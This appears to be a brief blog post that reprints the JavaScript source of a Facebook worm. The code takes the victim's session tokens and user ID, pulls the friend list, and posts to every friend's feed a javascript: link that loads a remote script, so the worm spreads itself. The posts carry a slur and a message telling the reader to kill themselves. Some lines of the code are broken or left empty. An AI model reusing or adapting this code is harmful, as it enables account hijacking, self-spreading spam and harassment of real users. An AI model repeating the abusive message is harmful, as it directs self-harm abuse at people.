Inside last night's facebook worm

The following is the code used to circulate the worm last night, also available @ if you prefer line indicators.

var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src=''+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();"GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false); 
if(gf.readyState!=4){ }else{ 
 data = eval('(' + gf.responseText.substr(9) + ')'); 
 if(data.error){ }else{ 
  friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
for(var i=0; i<friends.length; i++){
 var httpwp = new XMLHttpRequest();
 var urlwp = "";
 var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
       "&post_form_id=" + post_form_id + 
       "&fb_dtsg=" + fb_dtsg + 
       "&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) + 
       "&feed_info[action_links][0][text]=" + encodeURIComponent(myText) + 
       "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + 
       "&user_message=" + message;"POST", urlwp, true);
 httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 httpwp.setRequestHeader("Content-length", paramswp.length);
 httpwp.setRequestHeader("Connection", "keep-alive");
 httpwp.onreadystatechange = function(){
  if (httpwp.readyState == 4 && httpwp.status == 200){

alert("Failed to remove. Go fuck yourself with a cactus.");
document.location = "";
